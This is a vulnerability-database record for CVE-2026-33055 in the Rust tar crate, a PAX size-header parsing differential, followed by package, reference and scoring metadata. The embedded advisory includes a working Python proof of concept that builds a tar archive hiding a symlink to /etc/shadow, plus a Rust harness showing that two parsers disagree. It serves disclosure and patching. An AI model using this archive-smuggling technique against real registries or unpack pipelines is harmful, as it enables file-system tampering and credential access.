Lookup for vulnerabilities affecting packages.

Vulnerability_idVCID-ehdy-7aak-r3bt
Summary
tar-rs incorrectly ignores PAX size headers if header size is nonzero
### Summary

As part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.

The problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.

In this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override.


### Details

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600
https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

### PoC

(originally posted by https://github.com/xokdvium)


> I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`.

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600
https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

```python
#!/usr/bin/env python3
B = 512


def pad(d):
    r = len(d) % B
    return d + b"\0" * (B - r) if r else d


def hdr(name, size, typ=b"0", link=b""):
    h = bytearray(B)
    h[0 : len(name)] = name
    h[100:107] = b"0000644"
    h[108:115] = h[116:123] = b"0001000"
    h[124:135] = f"{size:011o}".encode()
    h[136:147] = b"00000000000"
    h[148:156] = b"        "
    h[156:157] = typ
    if link:
        h[157 : 157 + len(link)] = link
    h[257:263] = b"ustar\x00"
    h[263:265] = b"00"
    h[148:155] = f"{sum(h):06o}\x00".encode()
    return bytes(h)


INFLATED = 2048
pax_rec = b"13 size=2048\n"

ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)

content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2

used = len(ar) - mark
if used < INFLATED:
    ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2

open("smuggle.tar", "wb").write(bytes(ar))
```

`tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).

```rust
use std::fs;
use std::path::PathBuf;

fn sync_parse(data: &[u8]) {
    println!("tar:");
    let mut ar = tar::Archive::new(data);
    for e in ar.entries().unwrap() {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

async fn async_parse(data: Vec<u8>) {
    println!("astral-tokio-tar:");
    let mut ar = tokio_tar::Archive::new(data.as_slice());
    let mut entries = ar.entries().unwrap();
    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

#[tokio::main]
async fn main() {
    let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
    let data = fs::read(&path).unwrap();
    sync_parse(&data);
    async_parse(data).await;
}
```

```
tar:
  regular.txt          Regular
  smuggled             Symlink -> /etc/shadow

astral-tokio-tar:
  regular.txt          Regular
```

### Impact

This can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.
Aliases
0
alias CVE-2026-33055
1
alias GHSA-gchp-q4r4-x4ff
Fixed_packages
0
url pkg:cargo/tar@0.4.45
purl pkg:cargo/tar@0.4.45
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:cargo/tar@0.4.45
1
url pkg:deb/debian/rustc@1.70.0%2Bdfsg1-9
purl pkg:deb/debian/rustc@1.70.0%2Bdfsg1-9
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rustc@1.70.0%252Bdfsg1-9
2
url pkg:deb/debian/rustc@1.86.0%2Bdfsg1-1~bpo13%2B2
purl pkg:deb/debian/rustc@1.86.0%2Bdfsg1-1~bpo13%2B2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rustc@1.86.0%252Bdfsg1-1~bpo13%252B2
3
url pkg:deb/debian/rustc@1.92.0%2Bdfsg1-2?distro=trixie
purl pkg:deb/debian/rustc@1.92.0%2Bdfsg1-2?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rustc@1.92.0%252Bdfsg1-2%3Fdistro=trixie
4
url pkg:deb/debian/rustc@1.93.1%2Bdfsg1-2?distro=trixie
purl pkg:deb/debian/rustc@1.93.1%2Bdfsg1-2?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rustc@1.93.1%252Bdfsg1-2%3Fdistro=trixie
5
url pkg:deb/debian/rustc@1.94.1%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/rustc@1.94.1%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rustc@1.94.1%252Bdfsg1-1%3Fdistro=trixie
6
url pkg:deb/debian/rust-tar@0.4.45-1?distro=trixie
purl pkg:deb/debian/rust-tar@0.4.45-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rust-tar@0.4.45-1%3Fdistro=trixie
7
url pkg:deb/debian/rust-tar@0.4.45-2?distro=trixie
purl pkg:deb/debian/rust-tar@0.4.45-2?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rust-tar@0.4.45-2%3Fdistro=trixie
8
url pkg:deb/debian/rust-tar@0.4.45-2
purl pkg:deb/debian/rust-tar@0.4.45-2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rust-tar@0.4.45-2
Affected_packages
0
url pkg:cargo/tar@0.4.44
purl pkg:cargo/tar@0.4.44
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-ehdy-7aak-r3bt
1
vulnerability VCID-qj1y-b8m1-hyfm
resource_url http://public2.vulnerablecode.io/packages/pkg:cargo/tar@0.4.44
1
url pkg:deb/debian/rustc@1.48.0%2Bdfsg1-2?distro=trixie
purl pkg:deb/debian/rustc@1.48.0%2Bdfsg1-2?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4khp-kevq-xff5
1
vulnerability VCID-69zd-gcvx-fuhr
2
vulnerability VCID-7ap9-xghv-dbdy
3
vulnerability VCID-d8yv-ngej-1kf7
4
vulnerability VCID-ehdy-7aak-r3bt
5
vulnerability VCID-f4bw-5erp-4uc6
6
vulnerability VCID-fu46-5dhv-ckdt
7
vulnerability VCID-j9kg-rd4y-y7by
8
vulnerability VCID-pbjz-th4w-tqgb
9
vulnerability VCID-pvm9-wtbx-1ubx
10
vulnerability VCID-qj1y-b8m1-hyfm
11
vulnerability VCID-wdu6-3vph-aqb7
12
vulnerability VCID-wpe1-jr23-duhh
13
vulnerability VCID-y25s-c64z-57a6
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rustc@1.48.0%252Bdfsg1-2%3Fdistro=trixie
2
url pkg:deb/debian/rustc@1.48.0%2Bdfsg1-2
purl pkg:deb/debian/rustc@1.48.0%2Bdfsg1-2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4khp-kevq-xff5
1
vulnerability VCID-69zd-gcvx-fuhr
2
vulnerability VCID-7ap9-xghv-dbdy
3
vulnerability VCID-d8yv-ngej-1kf7
4
vulnerability VCID-ehdy-7aak-r3bt
5
vulnerability VCID-f4bw-5erp-4uc6
6
vulnerability VCID-fu46-5dhv-ckdt
7
vulnerability VCID-j9kg-rd4y-y7by
8
vulnerability VCID-pbjz-th4w-tqgb
9
vulnerability VCID-pvm9-wtbx-1ubx
10
vulnerability VCID-qj1y-b8m1-hyfm
11
vulnerability VCID-wdu6-3vph-aqb7
12
vulnerability VCID-wpe1-jr23-duhh
13
vulnerability VCID-y25s-c64z-57a6
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rustc@1.48.0%252Bdfsg1-2
3
url pkg:deb/debian/rustc@1.63.0%2Bdfsg1-2?distro=trixie
purl pkg:deb/debian/rustc@1.63.0%2Bdfsg1-2?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-ehdy-7aak-r3bt
1
vulnerability VCID-qj1y-b8m1-hyfm
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rustc@1.63.0%252Bdfsg1-2%3Fdistro=trixie
4
url pkg:deb/debian/rustc@1.63.0%2Bdfsg1-2
purl pkg:deb/debian/rustc@1.63.0%2Bdfsg1-2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-ehdy-7aak-r3bt
1
vulnerability VCID-qj1y-b8m1-hyfm
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rustc@1.63.0%252Bdfsg1-2
5
url pkg:deb/debian/rustc@1.85.0%2Bdfsg3-1?distro=trixie
purl pkg:deb/debian/rustc@1.85.0%2Bdfsg3-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-ehdy-7aak-r3bt
1
vulnerability VCID-qj1y-b8m1-hyfm
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rustc@1.85.0%252Bdfsg3-1%3Fdistro=trixie
6
url pkg:deb/debian/rustc@1.85.0%2Bdfsg3-1
purl pkg:deb/debian/rustc@1.85.0%2Bdfsg3-1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-ehdy-7aak-r3bt
1
vulnerability VCID-qj1y-b8m1-hyfm
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rustc@1.85.0%252Bdfsg3-1
7
url pkg:deb/debian/rust-tar@0.4.26-1
purl pkg:deb/debian/rust-tar@0.4.26-1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-88p2-xuah-2ygr
1
vulnerability VCID-ehdy-7aak-r3bt
2
vulnerability VCID-qj1y-b8m1-hyfm
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rust-tar@0.4.26-1
8
url pkg:deb/debian/rust-tar@0.4.26-1?distro=trixie
purl pkg:deb/debian/rust-tar@0.4.26-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-88p2-xuah-2ygr
1
vulnerability VCID-ehdy-7aak-r3bt
2
vulnerability VCID-qj1y-b8m1-hyfm
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rust-tar@0.4.26-1%3Fdistro=trixie
9
url pkg:deb/debian/rust-tar@0.4.38-1
purl pkg:deb/debian/rust-tar@0.4.38-1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-ehdy-7aak-r3bt
1
vulnerability VCID-qj1y-b8m1-hyfm
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rust-tar@0.4.38-1
10
url pkg:deb/debian/rust-tar@0.4.38-1?distro=trixie
purl pkg:deb/debian/rust-tar@0.4.38-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-ehdy-7aak-r3bt
1
vulnerability VCID-qj1y-b8m1-hyfm
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rust-tar@0.4.38-1%3Fdistro=trixie
11
url pkg:deb/debian/rust-tar@0.4.43-4?distro=trixie
purl pkg:deb/debian/rust-tar@0.4.43-4?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-ehdy-7aak-r3bt
1
vulnerability VCID-qj1y-b8m1-hyfm
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rust-tar@0.4.43-4%3Fdistro=trixie
12
url pkg:deb/debian/rust-tar@0.4.43-4
purl pkg:deb/debian/rust-tar@0.4.43-4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-ehdy-7aak-r3bt
1
vulnerability VCID-qj1y-b8m1-hyfm
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/rust-tar@0.4.43-4
References
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-33055
reference_id
reference_type
scores
0
value 0.00011
scoring_system epss
scoring_elements 0.01418
published_at 2026-04-09T12:55:00Z
1
value 0.00011
scoring_system epss
scoring_elements 0.01417
published_at 2026-04-08T12:55:00Z
2
value 0.00011
scoring_system epss
scoring_elements 0.01411
published_at 2026-04-11T12:55:00Z
3
value 0.00011
scoring_system epss
scoring_elements 0.01409
published_at 2026-04-18T12:55:00Z
4
value 0.00011
scoring_system epss
scoring_elements 0.01396
published_at 2026-04-16T12:55:00Z
5
value 0.00011
scoring_system epss
scoring_elements 0.01404
published_at 2026-04-13T12:55:00Z
6
value 0.00011
scoring_system epss
scoring_elements 0.01403
published_at 2026-04-12T12:55:00Z
7
value 0.00011
scoring_system epss
scoring_elements 0.01406
published_at 2026-04-04T12:55:00Z
8
value 0.00011
scoring_system epss
scoring_elements 0.01412
published_at 2026-04-07T12:55:00Z
9
value 0.00012
scoring_system epss
scoring_elements 0.01851
published_at 2026-04-24T12:55:00Z
10
value 0.00012
scoring_system epss
scoring_elements 0.01861
published_at 2026-04-21T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-33055
1
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33055
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33055
2
reference_url https://github.com/alexcrichton/tar-rs
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/alexcrichton/tar-rs
3
reference_url https://github.com/alexcrichton/tar-rs/commit/de1a5870e603758f430073688691165f21a33946
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-20T15:43:55Z/
url https://github.com/alexcrichton/tar-rs/commit/de1a5870e603758f430073688691165f21a33946
4
reference_url https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-20T15:43:55Z/
url https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-33055
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-33055
6
reference_url https://rustsec.org/advisories/RUSTSEC-2026-0068.html
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://rustsec.org/advisories/RUSTSEC-2026-0068.html
7
reference_url https://www.cve.org/CVERecord?id=CVE-2025-62518
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-20T15:43:55Z/
url https://www.cve.org/CVERecord?id=CVE-2025-62518
8
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1131480
reference_id 1131480
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1131480
9
reference_url https://github.com/advisories/GHSA-gchp-q4r4-x4ff
reference_id GHSA-gchp-q4r4-x4ff
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-gchp-q4r4-x4ff
Weaknesses
0
cwe_id 843
name Access of Resource Using Incompatible Type ('Type Confusion')
description The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.
Exploits
Severity_range_score4.0 - 8.1
Exploitability0.5
Weighted_severity7.3
Risk_score3.6
Resource_urlhttp://public2.vulnerablecode.io/vulnerabilities/VCID-ehdy-7aak-r3bt